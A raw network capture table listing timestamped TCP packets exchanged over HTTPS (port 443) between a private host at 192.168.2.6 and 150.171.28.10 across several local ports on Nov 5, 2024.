Nov 5, 2024 20:50:55.510503054 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510865927 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510880947 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510936022 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510942936 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510979891 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510998964 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511015892 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511069059 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511085987 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511123896 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511364937 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511382103 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511419058 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511431932 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511465073 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511816025 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511843920 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511888027 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511893988 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.511919975 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.511936903 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.512922049 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.512949944 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.512995958 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.513000965 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.513030052 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.513044119 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.513463974 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.513482094 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.513518095 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.513524055 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.513549089 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.513566971 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.514081955 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514105082 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514158964 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.514164925 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514185905 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.514195919 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.514619112 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514637947 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514684916 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.514692068 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.514724970 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.554805040 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.554850101 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.554913044 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.554924965 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.554944038 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.554960966 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.555979967 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.555999041 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.556036949 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.556041002 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.556078911 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.556437016 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.556452990 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.556509972 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.556515932 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.556555033 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.557899952 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.557923079 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.557982922 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.557991982 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.558028936 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.558202028 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.558218002 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.558248997 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.558253050 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.558278084 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.558291912 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.620194912 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620220900 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620337009 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.620348930 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620389938 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.620867968 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620887041 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620925903 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.620929956 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.620949030 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.620966911 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.621521950 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.621539116 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.621598959 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.621606112 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.621643066 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.622102976 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622119904 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622168064 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.622172117 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622206926 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.622575998 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622590065 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622646093 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.622649908 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.622680902 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.625123978 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.625150919 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.625216961 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.625230074 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.625277996 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626305103 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626346111 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626396894 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626405954 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626445055 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626532078 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626547098 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626578093 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626581907 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626585007 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626604080 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626609087 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626640081 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626647949 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626669884 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626671076 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626688957 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626693964 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626729965 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.626734018 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626764059 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.626770020 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.627157927 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.627621889 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.627635002 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.627756119 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.627772093 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.627832890 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.627840042 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.627876043 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.628040075 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.628055096 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.628098011 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.628107071 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.628140926 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.629085064 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.629112005 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.629160881 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.629168034 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.629200935 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.629215002 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630011082 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.630043983 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.630064011 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630069971 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.630093098 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630124092 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630296946 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.630314112 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630341053 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.630345106 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.630384922 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.676522970 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.676552057 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.676636934 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.676660061 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.676671982 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.676700115 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.677750111 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.677768946 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.677830935 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.677836895 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.677865982 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678186893 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678205013 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678251982 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678257942 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678291082 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678836107 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678905010 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678909063 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678919077 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678956032 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678962946 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.678972006 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678972006 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.678991079 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.679001093 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.737200022 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737226963 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737351894 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.737370968 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737415075 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.737646103 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737660885 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737711906 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.737716913 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.737756014 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.738817930 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.738840103 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.738898039 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.738903046 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.738948107 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739732981 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.739770889 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.739804983 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739809990 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.739840031 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739841938 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.739861965 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739887953 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739932060 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.739948988 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.741950035 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.741976023 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.742031097 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.742046118 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.742062092 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.742117882 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.742572069 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.742593050 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.742680073 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.742686033 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.742727995 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.743454933 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.743475914 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.743539095 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.743546009 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.743598938 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.744549990 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.744582891 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.744640112 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.744646072 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.744694948 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.744694948 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.744997025 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745016098 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745100975 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.745106936 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745172024 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.745498896 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745517969 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745578051 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.745584965 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.745601892 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.746428013 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.859378099 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.859411955 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.859450102 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.859460115 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.859519005 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.859925032 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.859982014 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.860002041 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.860038996 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.870510101 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.870528936 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:56.111334085 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.111373901 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:56.111470938 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.111931086 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.111938953 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:56.882813931 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:56.882898092 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.883487940 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.883493900 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:56.884569883 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:56.884573936 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.146895885 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.146920919 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.146934032 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.147103071 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.147103071 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.147113085 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.147159100 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.148191929 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.148211956 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.148268938 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.148272991 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.148309946 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.269535065 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.269565105 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.269645929 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.269651890 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.269694090 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.271089077 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.271106005 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.271171093 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.271174908 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.271210909 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.272263050 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.272280931 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.272337914 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.272341967 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.272367954 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.272386074 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.273914099 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.273931026 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.273998976 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.274003029 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.274046898 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.393135071 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.393153906 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.393213034 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.393228054 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.393263102 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.393281937 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.394359112 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394392967 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394427061 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.394431114 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394463062 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.394483089 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.394776106 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394790888 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394841909 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.394846916 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.394884109 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.515765905 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.515786886 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.515867949 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.515893936 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.515935898 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.516227007 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.516242027 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.516297102 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.516303062 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.516329050 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.516346931 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.517498016 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.517515898 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.517600060 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.517605066 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.517642021 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.520647049 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.520661116 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.520721912 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.520726919 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.520765066 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.639066935 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639100075 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639229059 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.639255047 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639295101 CET	49723	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:57.639796972 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639811993 CET	443	49723	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:57.639868975 CET	49723	443	192.168.2.6	150.171.28.10
